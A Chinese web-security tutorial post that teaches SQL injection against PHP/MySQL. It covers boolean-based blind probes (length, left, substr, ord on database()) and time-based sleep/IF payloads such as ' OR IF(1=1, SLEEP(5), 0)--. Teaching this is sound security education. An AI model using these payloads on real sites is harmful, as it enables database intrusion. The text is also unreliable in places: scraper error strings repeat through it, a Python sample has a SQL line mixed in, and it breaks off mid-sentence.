044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

03-05 1147阅读 0评论

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

#知识点:

1、PHP-MYSQL-SQL注入-方式增删改查

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式,044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,方法,第1张
(图片来源网络,侵删)

2、PHP-MYSQL-SQL注入-布尔&延迟&报错

3、PHP-MYSQL-SQL注入-数据回显&报错处理

演示案例:

➢PHP-MYSQL-SQL操作-增删改查

➢PHP-MYSQL-注入函数-布尔&报错&延迟

➢PHP-MYSQL-注入条件-数据回显&错误处理

➢PHP-MYSQL-CMS案例-插入报错&删除延迟

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式,044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,方法,第2张
(图片来源网络,侵删)

#PHP-MYSQL-SQL操作-增删改查

1、功能:数据查询

  • 查询:SELECT * FROM news where id=$id

    2、功能:新增用户,添加新闻等

    • 增加:INSERT INTO news (字段名) VALUES (数据)

      3、功能:删除用户,删除新闻等

      • 删除:DELETE FROM news WHERE id=$id

        4、功能:修改用户,修改文章等

        • 修改:UPDATE news SET id=$id

          #PHP-MYSQL-注入函数-布尔&报错&延迟

          盲注就是在==注入过程中,获取的数据不能回显==至前端页面。

          我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

          解决:常规的联合查询注入不行的情况

          我们可以知道盲注分为以下三类:

          1、基于布尔的SQL盲注-逻辑判断==(盲注可用布尔盲注(需要回显)==

          044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

          regexp,like,ascii,left,ord,mid

          044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式,044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式,词库加载错误:未能找到文件“C:\Users\Administrator\Desktop\火车头9.8破解版\Configuration\Dict_Stopwords.txt”。,使用,我们,方法,第4张
          (图片来源网络,侵删)
          1. RegExp(正则表达式):
            • 正则表达式是一系列字符,定义了一个搜索模式。它用于在字符串中进行模式匹配。
            • 正则表达式提供了一种强大而灵活的方式来搜索、匹配和操作文本。
            • LIKE(模糊匹配)
              • LIKE 经常在数据库查询中使用,特别是在SQL中,用于在列中搜索指定的模式。
              • 它允许使用通配符字符,如%(匹配任何字符序列)和_(匹配任何单个字符)。
              • ASCII码:
                • ASCII(美国信息交换标准代码)是一种字符编码标准,为键盘上的每个字母、数字和符号分配一个唯一的数字。
                • ASCII 值表示文本字符,被广泛用于计算机中。
                • LEFT(左侧提取指定数量的字符):
                  • 在字符串操作的上下文中,LEFT 是一种在一些编程语言或数据库查询语言中使用的函数。
                  • 它从字符串的左侧提取指定数量的字符。
                  • ORD:
                    • ORD 是一种在一些编程语言(例如 Python)中用于获取字符的 ASCII 值的函数。
                    • 例如,ord('A') 返回 ‘A’ 的 ASCII 值,即 65。
                    • MID:
                      • MID(或在一些语言中称为 SUBSTRING)是一种从给定字符串中提取子字符串的函数。
                      • 它需要指定的起始位置和要提取的子字符串的长度。

          下面是 Python 的一个快速示例:

          import re
          # 正则表达式(RegExp)
          pattern = re.compile(r'\d{3}-\d{2}-\d{4}')  # 匹配社会安全号码模式
          # SQL 中的 LIKE
           SELECT * FROM table WHERE column LIKE 'abc%'
          # ASCII
          ascii_value = ord('A')  # 返回 65
          # LEFT
          original_string = "Hello, World!"
          left_result = original_string[:5]  # 返回 "Hello"
          # ORD
          ascii_value_of_H = ord('H')  # 返回 72
          # MID
          substring = original_string[7:12]  # 返回 "World"
          

          布尔相关注入语句:

          #检查当前数据库名称的长度是否为7。
          and length(database())=7;
          #检查当前数据库名称的第一个字符是否为 'p'。
          and left(database(),1)='p';
          #检查当前数据库名称的前两个字符是否为 'pi'。
          and left(database(),2)='pi';
          #检查当前数据库名称的第一个字符是否为 'p'
          and substr(database(),1,1)='p';
          #检查当前数据库名称的第二个字符是否为 'i'
          and substr(database(),2,1)='i';
          #使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
          and ord(left(database(),1))=112;
          

          2、基于时间的SQL盲注-延时判断==(报错和回显都不需要)==

          if,sleep

          1. IF语句:
            • SQL中的**IF**语句用于条件执行,根据指定的条件执行一组SQL语句。
            • 在SQL注入的上下文中,攻击者可能注入一个始终为真的条件,以操纵SQL查询的行为。
            • SLEEP函数:
              • SLEEP函数用于在执行查询时引入一定的延迟或暂停,可以指定延迟的时间。
              • 攻击者利用**SLEEP函数进行基于时间的盲注,通过观察查询响应的延迟来推断有关数据库的信息。**

          下面是一个简单的示例,演示了基于时间的盲注攻击:

          假设存在一个有漏洞的查询:

          SELECT * FROM users WHERE username = 'input' AND password = 'input'
          

          攻击者可能注入以下有效载荷:

          ' OR IF(1=1, SLEEP(5), 0)--
          

          在这个注入中,IF(1=1, SLEEP(5), 0)语句将始终为真,导致执行SLEEP(5)函数。双破折号(--)用于注释掉原始查询的其余部分,以防止语法错误。

          延迟相关注入语句:

          #单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
          and sleep(1);
          #if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
          and if(1>2,sleep(1),0);
          #但这次条件为真(1 

免责声明
本网站所收集的部分公开资料来源于AI生成和互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

发表评论

快捷回复: 表情:
评论列表 (暂无评论,1147人围观)

还没有评论,来说两句吧...

目录[+]